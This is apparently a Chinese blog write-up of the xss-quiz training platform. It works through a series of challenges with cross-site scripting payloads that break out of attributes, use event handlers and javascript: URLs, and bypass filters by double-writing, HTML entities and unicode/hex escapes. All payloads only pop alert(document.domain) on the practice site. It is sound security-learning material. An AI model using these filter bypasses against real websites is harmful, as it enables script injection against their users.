xss从零开始之刷xss-quiz

刷题

平台地址:xss-quiz

chanllenge1

很简单,直接放payload

1
<script>alert(document.domain)</script>

challenge2

输入第一题payload没反应,查看源代码

发现被嵌入在input标签中所以不会解析,需要构造一下,使其逃逸出来

1
"><script>alert(document.domain)</script><"

成功弹窗

challenge3 其它input框的xss

输入payload没反应,查看源代码发现会被转义,抓包发现p2参数,在p2参数处xss,成功进入下一关

challenge4 隐藏input框的xss

发现p1,p2参数都被转义了,查看源代码发现隐藏输入框

把hidden改为text,输入第二关payload成功弹窗

1
"><script>alert(document.domain)</script><"

challenge5 前端长度限制的xss

随便输入发现长度限制为15

直接修改15为其他大数,然后输入payload提交

1
"><script>alert(document.domain)</script><"

challenge6 on事件bypass尖括号

过滤了尖括号,需要绕过,注意查看元素构造Payload:
移动鼠标触发事件:"onmouseover="alert(document.domain)"
鼠标点击触发事件:"onclick="alert(document.domain)"

challenge7 不使用引号绕过引号

发现引号被过滤了,使用空格分隔属性,不使用”,从而绕过”。

1
test onmouseover=alert(document.domain)

challenge8 javascript伪协议

涨姿势了,还可以这样用,输出在href下时,使用javascript伪协议
常见用到威胁的属性如下:

1
2
3
src
href
backgroud

bypass

1
javascript:alert(document.domain);

等价的

1
javascript:alert%28document.domain%29;

challenge9

好像有问题,跳过

challenge10 双写绕过

把domain置换为空,直接双写绕过

1
"><script>alert(document.domdomainain)</script><"

challenge11 编码绕过

过滤了很多,script会被替换为xscript,on事件会被替换为onxxx,style会被替换为stxxx
使用html编码绕过构造script过滤,但是直接构造<scr&#105;p\>不会解码,html编码解析只对标签里面属性的值进行解码
可以使用a标签中的href+伪协议把他放在属性中构造
payload:

1
"><a href=javascr&#105;pt:alert(document.domain)>xss</a>

challenge15 document.write()

尖括号和引号被过滤,但在input标签之上引用了document.write的方法
write() 方法可向文档写入 HTML 表达式或 JavaScript 代码。那么我们在write中写入的代码就是js的范畴了,在js中可以使用unicode编码或者十六进制编码,document.write在输出的时候会解码一下数据,把unicode编码的字符转换成实体字符,从而绕过过滤。
payload:

1
2
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

一种是unnicode编码,一种是十六进制编码,都可以绕过。

总结

总结一下,调用js的方式:一些on事件,如:onmouseover、onclick、onerror等等。
如果是标签的话,要脱离其它标签才能开启js解析调用。
还有就是一些特定的方法,比如document.write。
学会构造、学会用javascript伪协议,学会编码绕过,知道浏览器解析的顺序